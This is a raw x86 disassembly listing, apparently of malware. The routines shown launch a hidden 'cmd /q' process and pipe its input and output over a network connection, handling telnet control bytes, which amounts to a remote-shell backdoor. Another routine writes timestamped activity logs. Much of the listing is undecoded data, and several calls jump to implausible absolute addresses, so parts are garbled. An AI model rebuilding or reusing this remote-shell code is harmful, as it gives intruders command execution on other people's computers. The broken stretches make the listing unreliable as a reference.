var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2680D3Bh
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		call	near ptr 2680920h
		nop
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		nop
		call	near ptr 2790000h
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2700649h
		nop
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 0ECD6E890h, 4D8B0228h, 34C969C8h, 3B000002h,	0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0FBD6E890h
		dd 0EDEB0227h, 0F594E890h, 8D500228h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 0E8905659h, 22DF4EFh, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0E8905359h, 22DF46Bh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 905359FFh, 2DF43AE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0A4E89053h, 6A022DF3h, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 0CE89053h,	8D022DF3h
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0F29DE890h, 68022Dh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 0F241E853h
		dd 0FF90022Dh, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 28E89053h
		db 0F2h, 2Dh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	227F738h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0F089E853h, 8D90022Dh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 71E89000h, 0FF0227F6h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0F63EE890h, 8D530227h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 98E89053h, 8B022DEFh,	9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22DECC3h, 3E868h
		dd 1DE89000h, 570227F3h, 0FFFB8AE8h, 5B5E5FFFh,	4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2790102h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2690AE2h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_42911C
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 0E890086Ah, 227F1CCh, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 0E8E9E890h
		db 2Dh,	2
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 0E815E856h, 8B90022Dh, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0E8905659h,	22DE78Fh
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 0E70DE856h, 5390022Dh, 4355A8BBh,	0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
